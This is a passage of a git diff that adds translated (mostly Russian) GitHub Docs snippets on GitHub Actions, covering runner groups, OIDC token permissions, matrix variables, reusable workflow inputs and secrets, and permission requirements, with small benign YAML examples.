+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067093" +--- + +- Основные понятия, используемые в {% data variables.product.prodname_actions %}, можно изучить в статье [Общие сведения о GitHub Actions](/actions/learn-github-actions/understanding-github-actions). +- Инструкции по созданию простого рабочего процесса см. в статье [Краткое руководство по GitHub Actions](/actions/quickstart). +- Если вы уже знакомы с основными концепциями {% data variables.product.prodname_actions %}, можете перейти к изучению рабочих процессов и их возможностей в [этой статье](/actions/using-workflows/about-workflows). diff --git a/translations/ru-RU/data/reusables/actions/macos-runner-preview.md b/translations/ru-RU/data/reusables/actions/macos-runner-preview.md new file mode 100644 index 000000000000..ccf748a108b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/macos-runner-preview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 08f8abe55e223177e9636fca5fc1f17091a45670 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878840" +--- +Метка рабочего процесса YAML macos-latest в настоящее время использует средство выполнения тестов macOS 10.15. diff --git a/translations/ru-RU/data/reusables/actions/make-workflow-file.md b/translations/ru-RU/data/reusables/actions/make-workflow-file.md new file mode 100644 index 000000000000..20f2515591fa --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/make-workflow-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0c71973a821866dc0b3b395f77a0d9bcfd754a27 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145089413" +--- +В репозитории создайте файл с именем `.github/workflows/YOUR_WORKFLOW.yml`, где `YOUR_WORKFLOW` — это любое имя на ваш выбор. Это файл рабочего процесса. Дополнительные сведения о создании новых файлов в GitHub см. в разделе [Создание новых файлов](/github/managing-files-in-a-repository/creating-new-files). diff --git a/translations/ru-RU/data/reusables/actions/matrix-variable-example.md b/translations/ru-RU/data/reusables/actions/matrix-variable-example.md new file mode 100644 index 000000000000..a52260fc15c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/matrix-variable-example.md @@ -0,0 +1,34 @@ +--- +ms.openlocfilehash: 0e843d106ae2cdac0dbc2fc37baec5d035b6a3c2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114168" +--- +В этом примере записи матрицы для `node-version` каждая из них настроена для использования различных значений для переменных среды `site` и `datacenter`. Затем шаг `Echo site details` использует {% raw %}`env: ${{ matrix.env }}`{% endraw %} для ссылки на пользовательские переменные: + +{% raw %} +```yaml +name: Node.js CI +on: [push] +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + include: + - node-version: 10.x + site: "prod" + datacenter: "site-a" + - node-version: 12.x + site: "dev" + datacenter: "site-b" + steps: + - name: Echo site details + env: + SITE: ${{ matrix.site }} + DATACENTER: ${{ matrix.datacenter }} + run: echo $SITE $DATACENTER +``` +{% endraw %} diff --git a/translations/ru-RU/data/reusables/actions/message-annotation-explanation.md b/translations/ru-RU/data/reusables/actions/message-annotation-explanation.md new file mode 100644 index 000000000000..9ab1ba57fe54 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/message-annotation-explanation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1d869d84a0e5b5ea0b4b52652a3f82020686e1e5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089410" +--- +Это сообщение создаст заметку, которая может связать его с определенным файлом в репозитории. При необходимости сообщение может указать позицию в файле. diff --git a/translations/ru-RU/data/reusables/actions/message-parameters.md b/translations/ru-RU/data/reusables/actions/message-parameters.md new file mode 100644 index 000000000000..2af5cb7db0e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/message-parameters.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 8f48fb502f949942b6a0796f03b0b9afb9c538f9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110119" +--- +| Параметр | Значение | +| :- | :- | +| `title` | Пользовательский заголовок | +| `file` | имя_файла | +| `col` | Номер столбца, начиная с 1 | +| `endColumn` | Номер конечного столбца | +| `line` | Номер строки, начиная с 1 | +| `endLine` | Номер конечной строки | diff --git a/translations/ru-RU/data/reusables/actions/migrating-enterprise.md b/translations/ru-RU/data/reusables/actions/migrating-enterprise.md new file mode 100644 index 000000000000..16892d38017c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/migrating-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 96ac933a910a7efab3361f57f7a57e9fa5f2a0ee +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089405" +--- +При переносе предприятия на {% data variables.product.prodname_actions %} от другого поставщика необходимо учитывать дополнительные аспекты. Дополнительные сведения см. в разделе [Перенос предприятия на {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions). diff --git a/translations/ru-RU/data/reusables/actions/minimum-hardware.md b/translations/ru-RU/data/reusables/actions/minimum-hardware.md new file mode 100644 index 000000000000..058f8b325f6e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/minimum-hardware.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6a68c91196ea2efc4326c0ff8861bbae3cbbe700 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114155" +--- +Для выполнения {% data variables.product.prodname_actions %} {% data variables.product.company_short %} рекомендует использовать не менее 8 виртуальных ЦП и 64 ГБ памяти. diff --git a/translations/ru-RU/data/reusables/actions/more-resources-for-ghes.md b/translations/ru-RU/data/reusables/actions/more-resources-for-ghes.md new file mode 100644 index 000000000000..f3b008579a2c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/more-resources-for-ghes.md @@ -0,0 +1,22 @@ +If you plan to enable {% data variables.product.prodname_actions %} for the users of your instance, more resources are required. + + +{%- ifversion ghes = 3.3 %} + +{% data reusables.actions.hardware-requirements-3.3 %} + +{%- endif %} + +{%- ifversion ghes = 3.4 %} + +{% data reusables.actions.hardware-requirements-3.4 %} + +{%- endif %} + +{%- ifversion ghes = 3.5 %} + +{% data reusables.actions.hardware-requirements-3.5 %} + +{%- endif %} + +For more information about these requirements, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)." diff --git a/translations/ru-RU/data/reusables/actions/moving-a-runner-to-a-group.md b/translations/ru-RU/data/reusables/actions/moving-a-runner-to-a-group.md new file mode 100644 index 000000000000..f0d634cbeb89 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/moving-a-runner-to-a-group.md @@ -0,0 +1,15 @@ +If you don't specify a runner group during the registration process, your new runners are automatically assigned to the default group, and can then be moved to another group. + +{% data reusables.actions.self-hosted-runner-navigate-to-org-enterprise %} +{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +1. In the "Runners" list, click the runner that you want to configure. +2. Select the **Runner group** drop-down. +3. In "Move runner to group", choose a destination group for the runner. +{% elsif ghae < 3.4 or ghes < 3.4 %} +1. In the {% ifversion ghes or ghae %}"Runner groups"{% endif %} section of the settings page, locate the current group of the runner you want to move and expand the list of group members. + ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png) +2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations. + ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png) +3. To move the runner, click on the destination group. + ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/name-environment.md b/translations/ru-RU/data/reusables/actions/name-environment.md new file mode 100644 index 000000000000..8144d679ad9e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/name-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 15de1d14db5268907af2b8b89392247f5975573c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069560" +--- +1. Введите имя среды и нажмите кнопку **Настроить среду**. В именах сред регистр не учитывается. Имя среды не может превышать 255 символов и должно быть уникальным в репозитории. diff --git a/translations/ru-RU/data/reusables/actions/new-environment.md b/translations/ru-RU/data/reusables/actions/new-environment.md new file mode 100644 index 000000000000..7ac498cabb6a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/new-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a66d532ece420badd95268e1d2ef12e2eddbfa8b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114152" +--- +1. Выберите **Новая среда**. diff --git a/translations/ru-RU/data/reusables/actions/note-understanding-example.md b/translations/ru-RU/data/reusables/actions/note-understanding-example.md new file mode 100644 index 000000000000..daee48e91c7a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/note-understanding-example.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ff11162c9aa5e89ec7a5d28166b1bfeda970bf81 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066053" +--- +{% note %} + +**Примечание.** Каждая строка этого рабочего процесса описана в следующем разделе [Основные сведения о примере](#understanding-the-example). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/oidc-link-to-intro.md b/translations/ru-RU/data/reusables/actions/oidc-link-to-intro.md new file mode 100644 index 000000000000..c85ec2633418 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/oidc-link-to-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b8322cde9e91d39430caead22737b0539b7fc0f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089397" +--- +- Основные понятия о том, как {% data variables.product.prodname_dotcom %} использует OpenID Connect (OIDC), а также сведения об архитектуре и преимуществах см. в статье "[Сведения о повышении безопасности с помощью OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)". diff --git a/translations/ru-RU/data/reusables/actions/oidc-permissions-token.md b/translations/ru-RU/data/reusables/actions/oidc-permissions-token.md new file mode 100644 index 000000000000..5b1442734905 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/oidc-permissions-token.md @@ -0,0 +1,31 @@ +--- +ms.openlocfilehash: a314ace9dc0cc07e1119fa2a02c5ea45ef3a90fe +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878442" +--- +Для выполнения задания или рабочего процесса требуется параметр `permissions` с [`id-token: write`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). Вы не сможете запросить маркер идентификатора JWT OIDC, если `permissions` для параметра `id-token` задано `read` или `none`. + +Этот параметр `id-token: write` позволяет запрашивать JWT у поставщика OIDC {% data variables.product.prodname_dotcom %}, применяя один из следующих способов: + +- использование переменных среды в средстве выполнения (`ACTIONS_ID_TOKEN_REQUEST_URL` и `ACTIONS_ID_TOKEN_REQUEST_TOKEN`); +- использование `getIDToken()` из набора средств Actions. + +Если необходимо получить токен OIDC для рабочего процесса, разрешение можно установить на уровне рабочего процесса. Пример: + +```yaml{:copy} +permissions: + id-token: write # This is required for requesting the JWT + contents: read # This is required for actions/checkout +``` + +Если необходимо получить маркер OIDC только для одного задания, такое разрешение можно установить в этом задании. Пример: + +```yaml{:copy} +permissions: + id-token: write # This is required for requesting the JWT +``` + +В зависимости от требований рабочего процесса, возможно, будет необходимо указать здесь дополнительные разрешения. diff --git a/translations/ru-RU/data/reusables/actions/oidc-security-notice.md b/translations/ru-RU/data/reusables/actions/oidc-security-notice.md new file mode 100644 index 000000000000..6eed54ff12a8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/oidc-security-notice.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e0b81b4d42e322a689a90a57ace759163fc182b1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114139" +--- +- Прежде чем продолжить, необходимо спланировать стратегию безопасности, чтобы обеспечить выдачу маркеров доступа только предсказуемым способом. Чтобы управлять тем, как поставщик облачных служб выдает маркеры доступа, **необходимо** определить по крайней мере одно условие, запретив недоверенным репозиториям запрашивать маркеры доступа к облачным ресурсам. Дополнительные сведения см. в разделе «[Настройка отношений доверия OIDC с облаком](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud)». diff --git a/translations/ru-RU/data/reusables/actions/oidc-updating-workflow-overview.md b/translations/ru-RU/data/reusables/actions/oidc-updating-workflow-overview.md new file mode 100644 index 000000000000..c492b02d8372 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/oidc-updating-workflow-overview.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: a2d715cc94af2755d4161ef0715314caa0e82047 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089394" +--- +Чтобы добавить интеграцию OIDC в рабочие процессы облачного развертывания, необходимо добавить следующие изменения кода: + +- Предоставьте разрешение на получение токена от поставщика OIDC {% data variables.product.prodname_dotcom %}: + - Для рабочего процесса требуется параметр `permissions` с заданным значением `id-token`. Это позволяет получать токен OIDC из каждого задания в рабочем процессе. Если необходимо получить токен OIDC только для одного задания, такое разрешение можно установить в этом задании. +- Запросите JSON Web Token (JWT) от поставщика OIDC {% data variables.product.prodname_dotcom %} и предоставьте его поставщику облачных служб для получения маркера доступа: + - Вы можете использовать набор средств Actions для получения токенов в задании или использовать официальное действие, созданное поставщиком облачных служб, для извлечения JWT и получения маркера доступа из облака. diff --git a/translations/ru-RU/data/reusables/actions/on-multiple-example.md b/translations/ru-RU/data/reusables/actions/on-multiple-example.md new file mode 100644 index 000000000000..bccf99525439 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/on-multiple-example.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: de2ab71ca5c93229329c2887dc71685aa92e199d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883063" +--- +Можно указать одно или несколько событий. Например, рабочий процесс со следующим значением `on` будет выполняться при осуществлении отправки в любую ветвь в репозитории, или когда кто-то создает вилку репозитория: + +```yaml +on: [push, fork] +``` + +Если указано несколько событий, для активации рабочего процесса необходимо, чтобы произошло только одно из них. Если одновременно происходят несколько событий, активирующих рабочий процесс, будет активировано несколько выполнений рабочих процессов. diff --git a/translations/ru-RU/data/reusables/actions/on-single-example.md b/translations/ru-RU/data/reusables/actions/on-single-example.md new file mode 100644 index 000000000000..e1a3a1b0aed1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/on-single-example.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8c5c7093d58523b85ef3b962bc2e752a3fec4757 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089354" +--- +Например, рабочий процесс со следующим значением `on` будет выполняться при осуществлении отправки в любую ветвь в репозитории рабочего процесса: + +```yaml +on: push +``` diff --git a/translations/ru-RU/data/reusables/actions/onboarding-next-steps.md b/translations/ru-RU/data/reusables/actions/onboarding-next-steps.md new file mode 100644 index 000000000000..ab18895654db --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/onboarding-next-steps.md @@ -0,0 +1,7 @@ +{% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_actions %}: + +- For continuous integration (CI) workflows to build and test your code, see "[Automating builds and tests](/actions/automating-builds-and-tests)." +- For building and publishing packages, see "[Publishing packages](/actions/publishing-packages)." +- For deploying projects, see "[Deployment](/actions/deployment)." +- For automating tasks and processes on {% data variables.product.prodname_dotcom %}, see "[Managing issues and pull requests](/actions/managing-issues-and-pull-requests)." +- For examples that demonstrate more complex features of {% data variables.product.prodname_actions %}, including many of the above use cases, see "[Examples](/actions/examples)." You can see detailed examples that explain how to test your code on a runner, access the {% data variables.product.prodname_dotcom %} CLI, and use advanced features such as concurrency and test matrices. diff --git a/translations/ru-RU/data/reusables/actions/output-limitations.md b/translations/ru-RU/data/reusables/actions/output-limitations.md new file mode 100644 index 000000000000..c57b74f69c62 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/output-limitations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 73bc14da3e8e3c1eb6d24f1f8f562e579380587b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145186098" +--- +Выходные данные представляют собой строки Юникода длиной не более 1 МБ. Общий объем выходных данных в выполнении рабочего процесса не может превышать 50 МБ. diff --git a/translations/ru-RU/data/reusables/actions/outside-collaborators-internal-actions.md b/translations/ru-RU/data/reusables/actions/outside-collaborators-internal-actions.md new file mode 100644 index 000000000000..38d21e4ec13d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/outside-collaborators-internal-actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 04c8c952acf77d0ceffaf47ef7a0ac9e3a435fd4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069553" +--- +Если вы предоставляете доступ к внутреннему репозиторию своего предприятия рабочим процессам {% data variables.product.prodname_actions %} в других репозиториях, сторонние участники совместной работы в других репозиториях смогут опосредованно получать доступ к внутреннему репозиторию, даже если у них нет прямого доступа к нему. Сторонние участники совместной работы смогут просматривать журналы выполнения рабочих процессов при использовании действий или рабочих процессов из внутреннего репозитория. diff --git a/translations/ru-RU/data/reusables/actions/partial-reruns-with-reusable.md b/translations/ru-RU/data/reusables/actions/partial-reruns-with-reusable.md new file mode 100644 index 000000000000..c28cd47831cf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/partial-reruns-with-reusable.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 142794535bf66481cbdf5ec8430ed18ff9a0034d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080434" +--- +Ссылки на многократно используемые рабочие процессы из общедоступных репозиториев могут указывать код SHA, тег выпуска или имя ветви. Дополнительные сведения см. в статье [Вызов повторно используемого рабочего процесса](/actions/using-workflows/reusing-workflows#calling-a-reusable-workflow). + +При повторном запуске рабочего процесса, в котором есть ссылка на повторно используемый рабочий процесс, формат которой отличен от SHA, следует учитывать важные особенности поведения. + +* Повторное выполнение всех заданий в рабочем процессе будет использовать повторно используемый рабочий процесс, на который предоставлена ссылка. Дополнительные сведения о повторном выполнении всех заданий в рабочем процессе см. в статье [Повторное выполнение всех заданий в рабочем процессе](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-all-the-jobs-in-a-workflow). +* Повторное выполнение завершившихся неудачей заданий или конкретного задания в рабочем процессе выполняется с помощью повторно используемого рабочего процесса в том же SHA фиксации, который использовался для первой попытки. Дополнительные сведения о повторном выполнении невыполненных заданий в рабочем процессе см. в статье [Повторное выполнение завершившихся неудачей заданий в рабочем процессе](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-failed-jobs-in-a-workflow). Дополнительные сведения о повторном выполнении конкретного задания в рабочем процессе см. в статье [Повторное выполнение конкретного задания в рабочем процессе](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-a-specific-job-in-a-workflow). diff --git a/translations/ru-RU/data/reusables/actions/pass-inputs-to-reusable-workflows.md b/translations/ru-RU/data/reusables/actions/pass-inputs-to-reusable-workflows.md new file mode 100644 index 000000000000..c5acea5e5b61 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/pass-inputs-to-reusable-workflows.md @@ -0,0 +1,36 @@ +--- +ms.openlocfilehash: 0e043c5b9b4163a5d2c900188b5b98faeccfa786 +ms.sourcegitcommit: 34a7be5cc8176dea971cbbdea77cbe7a3ff4fa65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: "148009948" +--- +Чтобы передать именованные входные данные в вызываемый рабочий процесс, используйте в задании ключевое слово `with`. Используйте ключевое слово `secrets` для передачи именованных секретов. Тип данных входного значения должен соответствовать типу, указанному в вызываемом рабочем процессе (логическое значение, число или строка). + +{% raw %} +```yaml +jobs: + call-workflow-passing-data: + uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main + with: + config-path: .github/labeler.yml + secrets: + envPAT: ${{ secrets.envPAT }} +``` +{% endraw %} + +{% ifversion actions-inherit-secrets-reusable-workflows %} Рабочие процессы, вызывающие повторно используемые рабочие процессы в одной организации или предприятии, могут применять ключевое слово `inherit` для неявной передачи секретов. + +{% raw %} +```yaml +jobs: + call-workflow-passing-data: + uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main + with: + config-path: .github/labeler.yml + secrets: inherit +``` +{% endraw %} + +{%endif%} diff --git a/translations/ru-RU/data/reusables/actions/permissions-statement-environment.md b/translations/ru-RU/data/reusables/actions/permissions-statement-environment.md new file mode 100644 index 000000000000..c16a085ad4fd --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-statement-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d4d4a7196a98fb607fc7abca7d174e53ede76777 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114107" +--- +Чтобы настроить среду в репозитории, относящемся к учетной записи пользователя, необходимо быть владельцем репозитория. Чтобы настроить среду в репозитории организации, необходимо иметь доступ уровня `admin`. diff --git a/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-api.md b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-api.md new file mode 100644 index 000000000000..061a17340471 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 31c2c61a9c908f6284ebb7e53ce9ae2724325fdf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069544" +--- +Для создания секретов с помощью REST API необходимо иметь доступ на запись к репозиторию или доступ с правами администратора к организации. Дополнительные сведения см. в статье [API секретов {% data variables.product.prodname_actions %}](/rest/reference/actions#secrets). diff --git a/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-environment.md b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-environment.md new file mode 100644 index 000000000000..0f475ffe5649 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 46b5a31c9c47ca0d368e54fb2bfe8c3e4de4494c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114104" +--- +Чтобы создать секреты для среды в репозитории учетной записи пользователя необходимо быть владельцем репозитория. Для создания секретов для среды в репозитории организации необходимо иметь доступ уровня `admin`. diff --git a/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-organization.md b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-organization.md new file mode 100644 index 000000000000..4e4ce4a8f932 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-organization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ea3ef6ceb46482d8c85b496b1cfd3a6546ddd03 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145069541" +--- +Чтобы создать секреты на уровне организации, требуется доступ уровня `admin`. diff --git a/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-repository.md b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-repository.md new file mode 100644 index 000000000000..11b1d3bf5514 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-statement-secrets-repository.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0144e2c347078ce0fd9d910b5f4913098eafd083 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879576" +--- +Чтобы создать секреты для репозитория учетной записи пользователя необходимо быть владельцем репозитория. Чтобы создавать секреты для репозитория организации, потребуется доступ `admin`. diff --git a/translations/ru-RU/data/reusables/actions/permissions-table-entry.md b/translations/ru-RU/data/reusables/actions/permissions-table-entry.md new file mode 100644 index 000000000000..e57afe85d707 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/permissions-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba2a8718e5357ae49cfefe14692401216e8fc543 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067685" +--- +| Настройка разрешений для маркера: | [`permissions`](/actions/using-jobs/assigning-permissions-to-jobs)| diff --git a/translations/ru-RU/data/reusables/actions/policy-label-for-select-actions-workflows.md b/translations/ru-RU/data/reusables/actions/policy-label-for-select-actions-workflows.md new file mode 100644 index 000000000000..fa07a494d04d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/policy-label-for-select-actions-workflows.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a49972a569d2607dd24645b0fdc9fbfbd6bbfb02 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147061325" +--- +{% ifversion actions-workflow-policy %}{% ifversion ghec or ghes or ghae %}**Разрешить корпоративные, а также некоторые некорпоративные действия и многократно используемые рабочие процессы**{% else %}**Разрешить действия *OWNER* и некоторые действия, отличные от *OWNER*, и многократно используемые рабочие процессы**{% endif %}{% else %}**Разрешить некоторые действия**{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/postgres-environment-variables.md b/translations/ru-RU/data/reusables/actions/postgres-environment-variables.md new file mode 100644 index 000000000000..b35672dc696d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/postgres-environment-variables.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 38cb1809a69bf402d3fac174d5e8597dc0db7b8b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089346" +--- +Скрипт *client.js* ищет переменные среды `POSTGRES_HOST` и `POSTGRES_PORT` для создания клиента. Эти две переменные среды задаются на шаге рабочего процесса "Подключение к PostgreSQL", после чего становятся доступны скрипту *client.js*. Дополнительные сведения о скрипте см. в разделе [Тестирование контейнера службы PostgreSQL](#testing-the-postgresql-service-container). diff --git a/translations/ru-RU/data/reusables/actions/postgres-label-description.md b/translations/ru-RU/data/reusables/actions/postgres-label-description.md new file mode 100644 index 000000000000..6c4f879194a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/postgres-label-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 67ef84929e93a9f0fa1acc99e2035b2d62cb1574 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069528" +--- +Рабочий процесс настраивает контейнер службы с меткой 